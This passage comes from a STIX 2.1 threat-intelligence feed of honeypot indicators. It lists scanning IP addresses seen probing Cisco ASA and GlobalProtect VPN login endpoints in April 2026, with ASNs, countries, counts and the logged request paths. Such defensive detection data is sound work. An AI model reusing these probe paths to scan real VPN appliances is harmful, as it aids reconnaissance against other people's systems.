          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-10T07:53:22.103Z",
          "last_seen": "2026-04-10T07:53:22.103Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f2c92e86-6835-4e9b-a46d-5b9cfd5c577c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-10T07:54:27.858Z",
          "last_seen": "2026-04-10T07:54:27.858Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /login?redir= HTTP/1.0\" 404 - geo: BG; ASN 213474 (HomeLine Broadband LLC)",
      "id": "indicator--ad659fbf-350c-4e64-b30f-0396518c0c14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.239.147.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:20:10.000Z",
      "valid_until": "2026-05-12T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-10T08:22:11.660Z",
          "last_seen": "2026-04-10T08:22:13.064Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 213474,
          "as_org": "HomeLine Broadband LLC",
          "event_types": [
            "\"GET /login?redir= HTTP/1.0\" 404 -",
            "\"GET /remote/login HTTP/1.0\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T10:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--fa30b453-4c74-466f-838f-f29e0bda39aa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:20:03.000Z",
      "valid_until": "2026-05-12T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T19:35:46.096Z",
          "last_seen": "2026-04-23T18:40:25.801Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T10:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--c4bf6a2a-b4c2-4d43-abad-394fb01f7fa8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:20:03.000Z",
      "valid_until": "2026-05-12T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T10:03:18.894Z",
          "last_seen": "2026-04-23T16:56:43.598Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T10:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--b49b6ce0-8a8a-487c-9e39-c4eb3dd91092",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.230.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:20:03.000Z",
      "valid_until": "2026-05-12T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T10:06:50.947Z",
          "last_seen": "2026-04-22T03:30:37.224Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T10:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--c228c2ab-4e28-4c92-abad-0fc9cfe7c370",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:20:03.000Z",
      "valid_until": "2026-05-12T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T10:18:10.797Z",
          "last_seen": "2026-04-25T00:10:43.506Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T10:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3e42402a-087d-48c3-99d7-c674b8c50680",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:20:03.000Z",
      "valid_until": "2026-05-12T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-10T09:49:15.985Z",
          "last_seen": "2026-04-10T09:49:18.988Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"POST /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T10:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+webvpn+/index.html HTTP/1.1\" 200 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0428f733-fa6f-4cd1-9ebf-39e6f184e8af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:20:03.000Z",
      "valid_until": "2026-05-12T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-10T09:23:47.123Z",
          "last_seen": "2026-04-10T09:23:50.126Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T10:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+webvpn+/index.html HTTP/1.1\" 200 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--edd14341-b9c5-4d6b-a9e3-27c4047cd7c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:20:03.000Z",
      "valid_until": "2026-05-12T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-10T09:21:23.263Z",
          "last_seen": "2026-04-10T09:21:26.267Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T10:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /global-protect/login.esp HTTP/1.1\" 404 - geo: US; ASN 402253 (SKN Subnet & Telecom Ltd)",
      "id": "indicator--27ef0d4e-aca3-40bc-98ee-ab77c2724494",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '209.99.185.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:20:03.000Z",
      "valid_until": "2026-05-12T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-10T10:13:19.580Z",
          "last_seen": "2026-04-10T10:13:19.580Z",
          "country": "United States",
          "country_code": "US",
          "asn": 402253,
          "as_org": "SKN Subnet & Telecom Ltd",
          "event_types": [
            "\"GET /global-protect/login.esp HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T10:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1b056ff1-f455-4740-ade0-dc51cefdff85",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:20:03.000Z",
      "valid_until": "2026-05-12T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-10T09:30:34.859Z",
          "last_seen": "2026-04-10T10:04:41.452Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"POST /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T10:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--986a2300-bc78-4a91-9c7b-072c72343aaa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:20:03.000Z",
      "valid_until": "2026-05-12T10:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T10:17:25.414Z",
          "last_seen": "2026-04-25T15:28:28.725Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--e8475c93-d5fa-4dd2-af6e-1a071b2378dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T10:41:03.711Z",
          "last_seen": "2026-04-30T05:25:00.207Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d7f42b89-58ed-4085-bb2b-18f33e962e46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T10:58:49.654Z",
          "last_seen": "2026-04-29T15:01:26.532Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--21f23a03-024b-4923-8b92-b86bc04725b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T11:13:41.284Z",
          "last_seen": "2026-04-24T09:53:53.690Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bc92060f-c258-40d1-a280-02b7c1647748",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T10:44:19.005Z",
          "last_seen": "2026-04-27T15:15:15.448Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9bddef7a-c93e-4e2f-a5d9-e158df187025",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-10T10:31:32.704Z",
          "last_seen": "2026-04-25T07:16:39.272Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--04bbe06f-5652-4875-9bac-f54242867ccd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-10T10:40:55.608Z",
          "last_seen": "2026-04-27T10:53:37.311Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0dfcab81-ccee-44d2-a75c-271bff534c75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-10T10:22:41.947Z",
          "last_seen": "2026-04-29T02:41:03.022Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--03bcad7e-cbea-4418-ac6b-8e33068ac3ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-10T10:33:37.691Z",
          "last_seen": "2026-04-25T10:45:31.216Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
